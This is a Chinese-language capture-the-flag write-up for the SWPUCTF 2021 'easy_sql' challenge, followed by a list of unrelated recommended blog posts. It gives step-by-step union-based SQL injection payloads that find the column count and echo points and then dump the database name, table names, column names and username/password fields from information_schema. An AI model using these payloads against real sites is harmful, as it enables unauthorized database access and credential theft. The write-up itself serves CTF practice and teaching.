[SWPUCTF 2021 新生赛]easy_sql

1.题目

2.打开题目如图

文章的标题说参数是wllm,那么我们传入参数测试,返回如下,我们试试1'去找注入类型

注入类型

数字型sql注入

字符型sql注入

我们传入wllm=1'的时候发现报错了,然后使用注释符闭合,不报错了,所以是字符型注入闭合为单引号

3.构造payload语句解题

1' order by 1--+ //正常

1' order by 2 --+ //正常

1' order by 3 --+ //正常

1' order by 4 --+ //报错

........................

我们可以知道这个数据库有4列,然后我们来判断回显点

语句:-1' union select 1,2,3--+ //这个闭合使用%23和--+都可以 ||'也可以闭合,这里没有返回回显点,忘记了需要用-1或这个不存在的,这样它差不到数据,才返回回显点

如下图,成功回显

发现有两个回显点,用哪个都可以,构造语句查看数据库

-1'union select 1,database(),3--+

查到数据库的名字是test_db然后通过数据库去查表名

-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test_db' --+

得到了一个test_db和一个users表

通过表名去查字段

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

查到了一堆的字段,其中username和password比较敏感,我们去看这两个字段的内容

-1'union select 1,group_concat(username,password),3 from test_db.users--+

很抱歉,这里发现flag不在username和password字段,而是再test_tb表中的flag字段中

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='test_tb'--

相关推荐
前进的李工2 小时前
SQL聚合函数与分组查询详解
数据库·sql·mysql
2301_800050993 小时前
mysql
数据库·笔记·mysql
数据皮皮侠4 小时前
2m气温数据集(1940-2024)
大数据·数据库·人工智能·制造·微信开放平台
Psycho_MrZhang4 小时前
Redis 设计思想总结
数据库·redis·缓存
曹牧5 小时前
Java:Assert.isTrue()
java·前端·数据库
程序员葫芦娃5 小时前
【Java毕设项目】基于SSM的旅游资源网站
java·开发语言·数据库·编程·课程设计·旅游·毕设
2401_865854886 小时前
怎样挑选适合业务的数据库云服务?
数据库
lkbhua莱克瓦246 小时前
基础-函数
开发语言·数据库·笔记·sql·mysql·函数
福大大架构师每日一题6 小时前
dify 1.11.2 正式发布:向量数据库、安全增强、测试优化与多语言支持全面升级
数据库·安全
今天有个Bug7 小时前
【计算机毕业设计】流浪动物救助平台 - SpringBoot+Vue
sql·mysql·spring·vue·毕业设计·课程设计